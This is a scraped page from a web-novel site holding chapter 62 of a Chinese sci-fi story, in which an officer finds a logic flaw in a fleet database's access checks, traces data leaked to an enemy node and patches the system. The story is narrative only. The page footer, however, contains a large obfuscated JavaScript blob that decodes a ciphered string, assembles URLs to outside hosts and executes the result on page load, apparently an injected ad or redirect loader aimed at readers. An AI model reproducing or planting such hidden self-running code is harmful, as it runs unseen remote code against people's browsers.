首页
[切换至繁体版]
返回

第62章 安全机制

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第62章安全机制(第1/2页)
    门滑上,分析室里又安静了。
    林沫沫看着光屏上那个刚建好的“数据库安全机制初步分析报告”文档。
    标题挺大,内容嘛,都是基于公开手册和基础逻辑推的框架。陆墨染问她对安全机制了解多少,她实话实说,不了解细节。但活儿不能停,不了解也得先整出个框架来。
    她刚敲了几个字,工作台上的通讯器就响了。
    不是秦岳的频道,是直接来自指挥室的加密指令流。
    林沫沫点开。
    指令很短:“林沫沫少尉,立即前往核心数据库控制中心,进行现场安全架构评估。秦岳副官已在门外等候,全程陪同。指令签发:陆墨染。”
    后面附着一个动态加密坐标和临时通行码,有效期三十分钟。
    “现场评估?”林沫沫愣了一下。她报告还没写呢,这就直接去现场了?
    这行动力,杠杠的。
    她保存文档,起身。
    门滑开,秦岳果然已经等在外面了,抱着胳膊。
    “走吧祖宗,”秦岳说,“将军令,让我给你当保镖兼导游。核心数据库控制中心,那地方我一年也进不去几回。”
    “为什么突然要去现场?”林沫沫边走边问。
    “不知道。”秦岳摇头,“将军刚看完军部发来的最新情报,关于虫族可能获得外部技术支持那事的。看完就给我发了这条指令,让我带你过去。我估摸着,是觉得光看报告不够,得让你亲眼瞅瞅咱们的‘保险柜’长啥样,心里才有底。”
    两人沿着通道快速移动。
    越往里走,通道越安静,守卫的自动防御节点也越多。每隔一段距离,就有生物特征扫描点。
    秦岳刷脸,林沫沫刷临时码。
    “这地方,苍蝇飞进来都得先查三代。”秦岳压低声音说。
    最后一道门,是厚重的合金闸门,上面印着联邦军徽和“核心数据库控制中心-未经授权严禁入内”的红字。
    秦岳把手掌按在扫描区,又做了虹膜识别。
    闸门无声滑开。
    ---
    里面空间很大,但一点也不空旷。
    正中央是一个巨大的全息星图台,周围环绕着几十个弧形工作台。每个工作台前都坐着穿深灰色制服的技术官,没人说话,只有手指敲击虚拟键盘和光屏数据流刷新的细微声音。
    空气里有一股淡淡的冷却剂味道。
    一个看起来像是负责人的中年技术官走过来,胸口名牌写着“控制中心主管-李维”。
    “秦副官,林少尉。”李维点头,语气公事公办,“接到指挥室指令,配合进行安全架构现场评估。需要我介绍基本情况吗?”
    “不用,”林沫沫说,“我先自己看看架构总图。”
    李维有点意外,但还是调出了控制中心的主光屏。
    一张极其复杂的立体架构图展开。
    林沫沫走近,眼睛快速扫过那些层层嵌套的加密模块、访问控制节点、数据流管道、备份冗余链路……
    她看得很仔细。
    秦岳站在旁边,没吭声。
    李维和其他几个技术官也看着,表情有点微妙。一个看起来这么年轻的少尉,跑来评估核心数据库的安全架构?
    林沫沫看了大概五分钟。
    然后她伸出手,在架构图上点了几个地方。
    “李主管,”她开口,“这几个访问控制节点的逻辑校验顺序,是不是固定的‘先身份,后权限,再环境’?”
    李维点头:“是,标准流程。”
    “问题就在这儿。”林沫沫调出另一份数据流日志样本,“看这个模拟访问记录。如果攻击者——假设是虫族或者别的什么——能够伪造一个高权限身份令牌,并且模拟出合法的访问环境参数,那么按照这个固定顺序,系统会在完成前两步校验后,就默认该访问是‘高可信度’的,从而降低对后续数据流出行为的实时监控等级。”
    她手指在光屏上划拉,调出监控等级衰减曲线。
    “看,这里,监控响应延迟增加了0.5秒。0.5秒,在数据库层面,足够传输大量加密数据片段了。”
    李维脸色变了:“但这只是理论上的逻辑漏洞。要同时伪造高权限身份和完美环境参数,难度极大。”
    “如果虫族获得了我们不知道的外部技术支持呢?”林沫沫看着他,“军部最新情报显示,虫族可能已经接触到了更高级的能量技术。谁能保证它们没有接触到更高级的数据伪造或渗透技术?”
    控制中心里安静了几秒。
    几个技术官互相看了看。
    秦岳咳嗽了一声:“祖宗,你这意思是……咱们的‘保险柜’,锁芯可能被人摸透了?”
    “不是摸透,”林沫沫说,“是锁芯的设计逻辑存在被利用的风险。固定顺序的校验,就像告诉小偷‘你先撬这把锁,再撬那把,撬完了第三把就会自动松一点’。如果小偷技术够高,就能利用这个‘松一点’的窗口。”
    她说完,立刻调出一个新的加密报告界面。
    手指飞快地敲击。
    【紧急发现:核心数据库控制中心安全架构存在逻辑漏洞。固定顺序的访问控制节点校验,可能在遭遇高技术力伪造攻击时,形成监控响应延迟窗口,导致数据渗透风险。建议:立即启动动态随机校验顺序机制,并提升异常数据流出实时监控等级。优先级:最高。发现人:林沫沫。】
    报告加密,标记“指挥室直送-绝密”。
    发送。
    几乎就在发送完成的下一秒,秦岳的通讯器响了。
    陆墨染的声音传来,很稳,但语速比平时快了一点:“秦岳,报告收到。命令:立即启动‘朱雀-3’协议,对核心数据库进行最高级别安全审计。你全程陪同林少尉,确保评估过程安全。审计期间,控制中心由你临时接管。”
    “明白!”秦岳立刻挺直腰板。
    他转向李维:“李主管,执行‘朱雀-3’协议。所有操作权限暂时移交至我的指挥链路。请配合。”
    李维脸色严肃,点头:“是!”
    整个控制中心的气氛瞬间绷紧。
    技术官们开始快速操作,光屏上跳出“最高级别安全审计启动”的红色标识。
    秦岳对林沫沫说:“祖宗,你现在是审计小组的‘技术顾问’了。将军让我全程陪着你,意思就是,你看哪儿不顺眼,咱就查哪儿。”
    林沫沫点头,没废话,直接切入审计数据流。
    (本章未完,请点击下一页继续阅读)第62章安全机制(第2/2页)
    她重点查看那些访问控制节点的历史日志,尤其是近期所有高权限访问记录。
    秦岳在旁边帮忙调取数据。
    查了大概十分钟。
    秦岳忽然“咦”了一声。
    “祖宗,你看这个。”他指着一行访问记录。
    记录显示,大概七十二小时前,有一个标记为“内部维护-子系统校准”的访问账号,从数据库调取了一批引擎性能基线数据。访问时长很短,只有1.2秒。
    “这账号权限不低啊。”秦岳说,“但‘内部维护-子系统校准’这种通用账号,按规矩调取这么核心的数据,需要二次生物特征确认。可日志里没有二次确认记录。”
    林沫沫立刻追踪这个账号的后续操作。
    她发现,这个账号在完成数据调取后,并没有像正常维护操作那样将数据发送到指定的工程部服务器,而是将数据包进行了一次额外的、非标准的加密封装。
    然后,数据包的流向……消失了。
    在内部网络日志里,它显示为“发送至工程部服务器-地址:Alpha-7”。
    但林沫沫调出工程部那边的接收日志,根本没有这个数据包的记录。
    “数据被转发了。”林沫沫说,“用了一种能绕过内部日志记录的方式。”
    她开始反向追踪那1.2秒访问期间,数据库对外部的所有通讯握手信号。
    很隐蔽,但还是找到了。
    一个极其短暂、信号强度很低的加密握手,指向的……不是联邦内部网络地址。
    林沫沫调出舰队记录的已知威胁地址库,快速比对。
    三秒后,结果跳出来。
    【匹配度89.7%-疑似虫族跳跃网络次级中转节点(活跃,未标记)。】
    控制中心里,温度好像瞬间降到了冰点。
    秦岳骂了一句:“我靠!真摸进来了?!”
    李维和其他技术官脸色煞白。
    林沫沫立刻将追踪结果和威胁地址打包,再次加密发送指挥室。
    这次,陆墨染的回复几乎是秒回。
    只有两个字,通过秦岳的通讯器外放出来,声音冷得像刀:
    “封锁。”
    秦岳立刻吼了出来:“执行‘玄武-1’协议!立即封锁核心数据库所有非核心数据流出通道!物理切断外部连接!快!”
    警报声瞬间响彻控制中心。
    红色的灯光旋转闪烁。
    技术官们手指翻飞,执行封锁命令。
    巨大的全息星图台上,代表数据库数据流出的绿色线条一条接一条变成红色,然后断开。
    林沫沫看着光屏上那个被标记出来的异常握手信号,在封锁完成的前一刻,彻底消失了。
    但已经流出去的数据……追不回来了。
    秦岳喘了口气,看向林沫沫:“祖宗,现在咋整?”
    林沫沫调出安全架构图,盯着那几个有逻辑漏洞的访问控制节点。
    “漏洞得补。”她说,“立刻。”
    她看向李维:“李主管,我需要权限,修改这几个节点的校验逻辑。现在就要。”
    李维看向秦岳。
    秦岳点头:“给她权限。将军说了,全程配合。”
    临时修改权限开放。
    林沫沫坐到一个空闲的工作台前,光屏亮起。
    她开始写代码。
    把固定顺序的校验逻辑打乱,改成动态随机。再加上一个实时监控触发器,一旦检测到校验流程有被暴力尝试破解的迹象,立刻触发最高级别警报并锁死节点。
    她敲键盘的速度飞快。
    秦岳站在旁边看着,忍不住嘀咕:“好家伙,现场写补丁,这操作真特么硬核。”
    李维和其他技术官也围了过来,看着光屏上那行云流水的代码,眼神都变了。
    这少尉,不是来评估的,是来救火的。
    而且这火,还真被她先发现了。
    ---
    指挥室里。
    陆墨染站在主控台前,面前的光屏上显示着两条并排的报告。
    一条是林沫沫发的安全漏洞警告。
    一条是林沫沫和秦岳联合发的异常数据流向追踪结果。
    他脸上没什么表情,但眼神很沉。
    虫族的手,比预想的伸得还要长。不仅技术可能有代差,连渗透手段都升级了。
    他调出监控画面。
    核心数据库控制中心里,林沫沫正坐在工作台前,专注地敲着代码。秦岳和李维等人围在旁边。
    很专注。
    陆墨染看了一会儿,关掉监控。
    他接通了秦岳的频道。
    “秦岳。”
    “将军!”秦岳的声音立刻传来。
    “漏洞修复进度?”陆墨染问。
    “林少尉正在写补丁,动态随机校验机制,已经完成百分之七十了。”秦岳汇报,“另外,封锁已完成,异常数据流被切断。但之前流出去的那批引擎基线数据……估计追不回了。”
    “知道了。”陆墨染说,“补丁完成后,进行全面测试。测试通过前,数据库保持封锁状态。另外,彻查那个‘内部维护’账号的所有历史操作,我要知道它是什么时候、怎么被渗透的。”
    “明白!”
    陆墨染顿了顿,又说:“林少尉状态如何?”
    秦岳看了一眼还在疯狂敲代码的林沫沫:“状态拉满,正在爆肝。看样子,不把漏洞堵上她是不会停了。”
    “让她修。”陆墨染说,“修完了,带她回A7分析室。后续的分析报告,让她在那边完成。”
    “是!”
    通讯结束。
    陆墨染看向星图,东部星域那片暗红色的区域,似乎又扩大了一点。
    威胁,从来不止在正面战场。
    他调出林沫沫的个人档案,在最新那条“具备系统安全视野”下面,输入了新的一行:
    【星历172.7.31,于核心数据库控制中心现场发现安全架构逻辑漏洞,并追踪到虫族数据渗透迹象。临危受命,主导紧急漏洞修复。具备实战级安全威胁识别与响应能力。】
    保存。
    关掉档案。
    他看向观察窗外漆黑的星空。
    舰队在寂静中航行。
    但寂静之下,
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();